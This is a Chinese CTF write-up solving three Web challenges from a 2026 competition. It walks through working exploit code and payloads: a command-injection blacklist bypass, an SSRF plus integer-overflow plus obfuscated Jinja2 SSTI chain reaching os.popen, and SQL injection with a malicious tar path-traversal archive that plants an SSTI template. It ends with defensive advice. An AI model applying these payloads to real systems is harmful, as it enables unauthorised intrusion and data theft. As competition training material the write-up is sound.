2026楚慧杯Web方向全解
字数 2206
更新时间 2026-03-23 15:04:21
2026楚慧杯Web方向全解教学文档
第一篇:拯救芙莉莲 (Web文件包含与命令注入绕过)
1. 漏洞发现与信息收集
- 通过目录扫描工具(如dirsearch)发现robots.txt文件
- robots.txt中包含特殊文件:
<(´⌯ ̫⌯)>.php` - 访问该文件出现错误提示,判断为文件包含漏洞
2. 初步利用
- 使用PHP伪协议读取源码:
?file=php://filter/convert.base64-encode/resource=<(´⌯ ̫⌯`)>.php
- 获取源码后进行分析
3. 关键代码分析
<?php
if (isset($_GET['spell'])) {
$spell = $_GET['spell'];
// 第一层过滤:危险函数黑名单
$forbidden = array('system', 'exec', 'passthru', 'shell_exec', 'popen', 'proc_open');
foreach ($forbidden as $bad) {
if (stripos($spell, $bad) !== false) {
die("⚠️ 检测到禁忌的黑魔法!");
}
}
// 第二层过滤:关键字过滤
if (stripos($spell, 'flag') !== false) {
die("⚠️ 宝箱怪的魔法屏障启动了!");
}
// 第三层过滤:命令黑名单
$blocked_commands = array('cat', 'tac', 'nl', 'more', 'less', 'head', 'tail', 'sort', 'uniq', 'strings', 'od', 'xxd', 'hexdump', 'grep', 'awk', 'sed', 'cut', 'rev', 'base64', 'env');
foreach ($blocked_commands as $cmd) {
if (stripos($spell, $cmd) !== false) {
die("⚠️ 宝箱怪识破了你的咒语!命令 '$cmd' 已被封印!");
}
}
// 漏洞点:无过滤执行shell_exec
$result = shell_exec($spell);
echo $result;
}
?>
4. 绕过技巧
- 尝试直接使用
?spell=cat /flag被WAF拦截 - 绕过方法:使用字符串拼接和通配符
- 最终payload:
?spell=c''at%20/f* - 原理:
c''at→ 通过空字符串拼接绕过cat检测/f*→ 使用通配符匹配flag文件
5. 核心知识点
- 文件包含漏洞利用:PHP伪协议读取源码
- 命令注入绕过:
- 字符串拼接绕过
- 通配符绕过文件路径
- 黑名单绕过策略:
- 使用
''、""、\等方式分割关键字 - 使用通配符
*匹配文件
- 使用
- shell_exec函数:PHP中执行系统命令的函数,需要合理过滤
第二篇:cybers (SSRF+SSTI+整数溢出综合利用)
1. 环境配置与初始访问
- 目标地址:
http://45.40.247.139:19944 - 内部端口:5000
- 存在转发路由:
/relay
2. 第一阶段:Session获取
def send_data(packet):
payload = {"port": INTERNAL_PORT, "data": packet}
response = requests.post(f"{TARGET_GATEWAY}/relay", data=payload)
return response.text
# 构造HTTP请求获取session
handshake = "GET /initialize HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: close\r\n\r\n"
raw_init = send_data(handshake)
auth_token = re.findall(r"session=([a-zA-Z0-9._-]+)", raw_init)[0]
3. 第二阶段:整数溢出绕过
- 利用64位带符号整数最小值:
-9223372036854775808 - 当这个值被转换为无符号整数时,会变成巨大的正数
- 攻击payload:
exploit_val = -9223372036854775808
hack_call = f"GET /hack?amount={exploit_val} HTTP/1.1\r\n" + \
"Host: 127.0.0.1\r\n" + \
f"Cookie: session={auth_token}\r\n" + \
"Connection: close\r\n\r\n"
4. 第三阶段:SSTI绕过与动态字符串构造
4.1 核心绕过技术
- 题目禁止了常见的危险函数、全角绕过等方法
- 只能使用字典键值对拼接构造字符串
- 原理:Jinja2模板中
dict(o=1,s=1)|join会构造字典{"o":1,"s":1},然后join会拼接字典的键,得到"os"
4.2 字符串构造示例
{% set sp=dict(s=1,p=1,l=1,i=1,t=1)|join %} {# 构造 'split' #}
{% set ge=dict(g=1,e=1,n=1)|join %} {# 构造 'gen' #}
{% set er=dict(e=1,r=1)|join %} {# 构造 'er' #}
{% set ate=dict(a=1,t=1,e=1)|join %} {# 构造 'ate' #}
{% set gg=ge+er+ate %} {# 构造 'generate' #}
{% set u=(((lipsum|string)|attr(sp)(gg))|last)|first %}
{% set gl=dict(g=1,l=1,o=1,b=1,a=1)|join + dict(l=1,s=1)|join %} {# 构造 'globals' #}
{% set gs=u+u+gl+u+u %} {# 构造 '__globals__' #}
4.3 最终命令执行链
{% set om=(lipsum|attr(gs))|attr(gt)(oo) %} {# 等价于 os #}
{% set pp=dict(p=1,o=1)|join + dict(p=1,e=1,n=1)|join %} {# 构造 'popen' #}
{% set ph=om|attr(pp)(cmd) %} {# 等价于 os.popen(cmd) #}
{% set rd=dict(r=1,e=1,a=1,d=1)|join %} {# 构造 'read' #}
{% print(ph|attr(rd)()) %} {# 打印命令执行结果 #}
5. 完整攻击流程
- 通过
/relay路由进行SSRF - 访问
/initialize获取session token - 利用整数溢出修改余额
- 构造Jinja2 SSTI payload
- 通过POST请求发送payload
- 从响应中提取flag
第三篇:Fisafopil (哈希长度扩展攻击+SQL注入+目录穿越)
1. 漏洞点分析
- 密码哈希存在长度扩展攻击漏洞
- email参数存在SQL注入
/admin/restore路由存在tar文件目录穿越
2. 第一阶段:用户注册与SQL注入
# 注册普通用户
pass_raw = b"secret_pass"
user_id = "vortex_" + "".join(random.choices(string.ascii_lowercase, k=5))
u_hex = binascii.hexlify(user_id.encode()).decode()
p_hex = binascii.hexlify(pass_raw).decode()
cli.post(f"{TARGET}/register", json={
"username": u_hex, "password": p_hex, "employee_number": "EMP_99",
"email": "dev@null.org", "phone_number": "00000000",
"first_name": "Alpha", "last_name": "Omega",
"date_of_birth": "1990-10-10", "address": "Void"
})
3. SQL注入利用
# 通过email参数注入,获取用户密码哈希
injection = f"'; UPDATE users SET email=(SELECT password FROM users WHERE username='{user_id}') WHERE username='{user_id}'; --"
cli.post(f"{TARGET}/edit-profile", params={
"employee_number": "EMP_99", "email": "a@b.com" + injection,
"phone_number": "00000000", "first_name": "Alpha", "last_name": "Omega",
"date_of_birth": "1990-10-10", "address": "Void"
})
4. 哈希长度扩展攻击原理
- 已知条件:
- 用户密码:
secret_pass - 密钥长度:16字节(题目附件提供)
- 密码对应的MD5哈希值
- 用户密码:
- 加密格式:
md5(secret_key || "input") - 攻击目标:在不知道secret_key的情况下,构造新的输入和对应的哈希值
5. 攻击步骤
- 注册用户获取
(password, hash)对 - 使用哈希长度扩展攻击工具(如hashpump)生成新的输入和哈希
- 构造SQL注入更新admin密码哈希
# 更新admin密码哈希
update_admin = f"'; UPDATE users SET password='{forged_h}' WHERE username='admin'; --"
cli.post(f"{TARGET}/edit-profile", params={
"employee_number": "EMP_99", "email": "x@y.com" + update_admin,
"phone_number": "00000000", "first_name": "Alpha", "last_name": "Omega",
"date_of_birth": "1990-10-10", "address": "Void"
})
6. 利用tar文件目录穿越进行SSTI
# 构造恶意tar文件
shell = '{{ self.__init__.__globals__.__builtins__.__import__("os").popen("cat /flag").read() }}'
mem = io.BytesIO()
with tarfile.open(fileobj=mem, mode="w") as arch:
t_meta = tarfile.TarInfo(name="../templates/info.html")
data = f"<html><body>{shell}</body></html>".encode()
t_meta.size = len(data) # 必须手动设置文件大小
arch.addfile(t_meta, io.BytesIO(data))
mem.seek(0)
# 上传tar文件
root.post(f"{TARGET}/admin/restore", files={"restore_file": ("patch.tar", mem, "application/x-tar")})
7. 关键知识点总结
-
哈希长度扩展攻击:
- 需要已知:原始消息、原始哈希、密钥长度
- 可以在不知道密钥的情况下扩展消息并计算有效哈希
- 工具:hashpump、hash_extender
-
SQL注入利用:
- UPDATE语句注入
- 子查询获取敏感信息
- 堆叠查询更新密码哈希
-
tar文件目录穿越:
- 通过
../实现路径穿越 - 内存中构造文件避免磁盘写入
- 必须设置
TarInfo.size属性
- 通过
-
SSTI最终利用:
- 通过模板文件覆盖实现命令执行
- 访问
/info路由触发模板渲染 - 读取flag文件
综合防御建议
1. 输入过滤与验证
- 对所有用户输入进行严格过滤
- 使用白名单而非黑名单
- 对特殊字符进行转义
2. 命令执行防护
- 避免使用shell_exec、system等危险函数
- 如需执行命令,使用参数化调用
- 限制命令执行权限
3. 文件操作安全
- 解压文件前检查文件路径
- 禁止使用
../等路径穿越字符 - 限制解压目录权限
4. 密码安全
- 使用加盐哈希(如bcrypt、argon2)
- 避免使用
md5(secret||message)模式 - 使用HMAC代替简单拼接
5. SQL注入防护
- 使用参数化查询
- 最小权限原则
- 输入验证和转义
6. SSTI防护
- 避免用户控制模板内容
- 使用沙箱环境执行模板
- 严格过滤模板语法
附录:常用工具和命令
1. 信息收集
- dirsearch:目录扫描
- robots.txt分析
- 源码读取技巧
2. 漏洞利用
- hashpump:哈希长度扩展攻击
- sqlmap:SQL注入自动化
- Burp Suite:HTTP请求操作
3. 绕过技巧
- 字符串拼接:
c''at、c\at、c$@tat - 通配符:
*、?、[a-z] - 编码绕过:base64、hex、url编码
4. 开发技巧
- io.BytesIO:内存文件操作
- tarfile:tar文件创建与操作
- 正则表达式:数据提取
注意:本文档仅供学习使用,请勿用于非法用途。所有技术都应在合法授权的测试环境中使用。
相似文章
相似文章